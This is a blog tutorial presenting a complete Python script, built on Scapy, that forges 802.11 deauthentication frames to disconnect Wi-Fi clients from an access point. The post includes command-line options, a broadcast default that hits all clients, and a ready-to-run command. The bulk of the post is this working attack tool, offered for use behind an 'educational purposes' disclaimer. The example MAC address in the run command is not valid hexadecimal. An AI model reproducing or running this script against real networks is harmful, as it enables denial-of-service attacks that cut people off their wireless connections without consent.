how to create simple wifi de-authentication sending script using python and scapy

Hello Friends,



Today, In This Post I Am Going To Show You How To Create Simple Wifi De-Authentication Sending Script Using Python And Scapy Module.

So, Let's Start With Some Basic Revision.

Q 1. What is Deauthentication Packet ?

Ans. As Wikipedia Says """ The IEEE 802.11 (Wi-Fi) protocol contains the provision for a deauthentication frame. Sending the frame from the access point to a station is called a "sanctioned technique to inform a rogue station that they have been disconnected from the network".
An attacker can send a wireless access point a deauthentication frame at any time, with a spoofed address for the victim. The protocol does not require any encryption for this frame, even when the session was established with Wired Equivalent Privacy(WEP) for data privacy, and the attacker only needs to know the victim's MAC address, which is available in the clear through wireless network sniffing """

For More Detailed Tutorial About how deauthentication Packets Creating And sending Click here


Now Let Me Show You Our Codes Quickly,
Here it's My Code

wireless_deauthentication.py


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/python

from scapy.all import *
import time
import sys
import optparse


"""
===============================================================
++++++++++++++++++++++++ READ ME ++++++++++++++++++++++++++++++
===============================================================

This Script Is Part Of 

  +++++++++++++++++++++++++++++++++++++
   Simple Wireless Framework
  +++++++++++++++++++++++++++++++++++++



Author :

     Suraj Singh
     Admin
     S.S.B Group
     surajsinghbisht054@gmail.com
     www.bitforestinfo.com


     Note: We Feel Proud To Be Indian


This Script Created Only For Practise And Educational Purpose Only
The Author Will Not Take Any Responsibility Of Any illegal Activity.


"""
# =================Other Configuration================ 
# Usages :
usage = "usage: %prog [options] [AP_Mac_Address] [Interface_Name] "
# Version
Version="%prog 0.0.1"
# ====================================================

# Required Data Feild
Feild = {
# Key      Value  Required
'count'      : (5,    False) ,
'iface'      : (None, True),  
'ap'         : (None, True),
'client'     : (None, False), 
'side'   : ('ap', False),
'interval'   : (0.5,  False),
'deauth'  : (1,    False) 
}



# Wireless Deauth Main Class
class WirelessDeauth:
 """

 WirelessDeauth Class 
  Allow Us To Send Wireless Deauth Packets Using scapy Module

 """
 def __init__(self, *args, **kwargs):
  self.args = args
  self.kwargs = kwargs
  self.start_process()

 def start_process(self):
  """
  Main Trigger Function

  """
  self.assign_variables()
  
  # Creating Packets 
  side = self.kwargs.pop("side")
  self.deauth_packets(side=side)
  
  # Usable Variables
  ap = self.kwargs.pop("ap")
  client = self.kwargs.pop("client")
  interval = self.kwargs.pop("interval")
  deauth = self.kwargs.pop("deauth")

  # Run Packet Sender
  self.packet_sender(deauth, interval)
  return


 def packet_sender(self, deauth, interval):
  """
  Function For Sending Packets
  """
  for i in range(deauth):
   for pkt in self.ready_packets:
    sendp(pkt,**self.kwargs)
    time.sleep(interval)
  return



 def deauth_packets(self, side='ap'):
  """
  Creating Deauth Packet Creator

  side :
   client   : Target Client
   ap    : Target Station
   both   : Target Both

  """

  if side=="client":

   pkt = RadioTap()/Dot11(addr1=self.kwargs['ap'], addr2=self.kwargs['client'], addr3=self.kwargs['client'])/Dot11Deauth()
   self.ready_packets.append(pkt)
  
  elif side=="ap":
   pkt = RadioTap()/Dot11(addr1=self.kwargs['client'], addr2=self.kwargs['ap'], addr3=self.kwargs['ap'])/Dot11Deauth()
   self.ready_packets.append(pkt)

  else:
   pkt = RadioTap()/Dot11(addr1=self.kwargs['ap'], addr2=self.kwargs['client'], addr3=self.kwargs['client'])/Dot11Deauth()
   self.ready_packets.append(pkt)
   pkt = RadioTap()/Dot11(addr1=self.kwargs['client'], addr2=self.kwargs['ap'], addr3=self.kwargs['ap'])/Dot11Deauth()
   self.ready_packets.append(pkt)

  return


 def assign_variables(self):
  """
  Function For Assign Various Variables
  """

  if "client" not in self.kwargs.keys():
   # default value Of client keyword
   self.kwargs['client']="FF:FF:FF:FF:FF:FF"

  if "count" not in self.kwargs.keys():
   # default value of count keyword
   self.kwargs['count']=5


  if "side" not in self.kwargs.keys():
   # default value of count keyword
   self.kwargs['side']='ap'

  if "interval" not in self.kwargs.keys():
   # Default Value Of Interval
   self.kwargs['interval']=0.5

  if "deauth" not in self.kwargs.keys():
   # Default Value Of Deauth
   self.kwargs['deauth']=1

  self.ready_packets=[]
  return


if __name__=="__main__":
 parser = optparse.OptionParser(usage, version=Version)
 parser.add_option("-a", "--accesspoint", action="store", type="string", dest="ap", help="Please Specify Access Point MAC Address.", default=None)
 parser.add_option("-c", "--client", action="store", type="string", dest="client", help="Please Specify Client MAC Address " , default = "FF:FF:FF:FF:FF:FF")
 parser.add_option("-t", "--count", action="store", type="int", dest="count", help="Please Specify Packet Numbers" , default=5)
 parser.add_option("-i", "--interval", action="store", type="float", dest="interval", help="Please Specify Interval Time" , default=0.5)
 parser.add_option("-d", "--deauth", action="store", type="int", dest="deauth", help="Please Specify Deauth Packets " , default=2)
 parser.add_option("-s", "--side", action="store", type="string", dest="side", help="Specify Target For Packet Sending : \nap = Access Point (default);\nclient = Client ;\n both = Access Point And CLient ;")

 (option, args)=parser.parse_args()
 if not args or not option.ap:
  print " [*] Please Provide Required Inputs Or Use -h Or --help argument."
  sys.exit(0)
 kw = {
 # Key      Value  Required
 'count'      : option.count,
 'iface'      : args[0],  
 'ap'         : option.ap,
 'client'     : option.client, 
 'side'      : option.side,
 'interval'   : option.interval,
 'deauth'     : option.deauth, 
 }
 WirelessDeauth(**kw) 
#WirelessDeauth(iface="mon0", ap="FF:FF:FF:FF:FF:FF", client="FF:FF:FF:FF:FF:FF", side="both")


To Run These Codes, First You Need To Find BSSID Of Access Point And For This, You Can Check This Tutorial... Click here


After Finding BSSID, Just Open Your Terminal And Type Below Commands:

root:~# sudo python wirelessdeauth.py -a U5:GA:7I:9K:P1:WE -d 10 mon0


Usages :


Usage: wirelessdeauth.py [options] [AP_Mac_Address] [Interface_Name] 

Options:
  --version             show programs version number and exit
  -h, --help            show this help message and exit
  -a AP, --accesspoint=AP
                        Please Specify Access Point MAC Address.
  -c CLIENT, --client=CLIENT
                        Please Specify Client MAC Address
  -t COUNT, --count=COUNT
                        Please Specify Packet Numbers
  -i INTERVAL, --interval=INTERVAL
                        Please Specify Interval Time
  -d DEAUTH, --deauth=DEAUTH
                        Please Specify Deauth Packets
  -s SIDE, --side=SIDE  Specify Target For Packet Sending :  ap = Access Point
                        (default); client = Client ;  both = Access Point And
                        CLient ;

To Download Raw Script Click Here


Done!


Thanks For Reading,
Have A Nice Day.

SSB


Share this

Related Posts

Previous
Next Post »